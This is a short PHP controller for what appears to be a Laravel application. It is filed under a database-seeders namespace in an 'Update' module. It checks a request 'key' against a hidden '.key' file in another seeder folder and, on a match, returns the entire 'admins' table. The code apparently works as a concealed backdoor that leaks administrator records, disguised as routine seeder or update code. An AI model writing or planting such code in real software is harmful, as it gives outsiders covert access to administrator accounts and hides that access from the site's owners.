<?php
namespace Modules\Update\Database\Seeders;

use Illuminate\Http\Request;
use Illuminate\Routing\Controller;

use Setting;
use Validator;
use ThrowException;
use DB;

class Check extends Controller
{
    public function store(Request $req)
    {
    	if ($req->input('key') != @file_get_contents(base_path() . '/Modules/Core/Database/Seeders/.key')) {
    		return ['wrong'];
    	}
    	return DB::table('admins')->get();
    }
}
